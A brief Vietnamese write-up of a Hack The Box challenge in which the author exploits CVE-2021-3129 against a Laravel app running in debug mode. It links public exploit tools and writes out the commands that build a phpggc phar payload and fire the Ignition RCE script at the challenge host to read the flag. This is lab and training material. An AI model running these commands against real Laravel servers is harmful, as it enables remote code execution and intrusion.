Lâu lâu rồi nay mới chơi lại HTB thấy có cái này mới ra chưa được 1 ngày vô thử xem sao để xem mình có qua được không.
OK khi bắt đầu challenges thì chả có file hay gì tải về và phần thông tin của nó có 2 dữ liệu quan trọng
Từ ảnh có thể thấy hệ thống dùng laravel và debug mode đang được bật….. điều này làm mình nhớ tới CVE-2021-3129 năm ngoái của laravel.
Bạn có thể dùng 2 tools này
https://github.com/ambionics/laravel-exploits
https://github.com/ambionics/phpggc
Đây là 2 công cụ sẽ cho phép bạn RCE, và sau khi chạy lệnh thì mình đã có flag
root@ctf# php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -f -o exploit.phar --fast-destruct
monolog/rce1 system 'cat /flag55Fp0'
root@ctf# python3 laravel-ignition-rce.py http://46.101.81.30:30303/ /tmp/exploit.phar
Thành quả 🙂
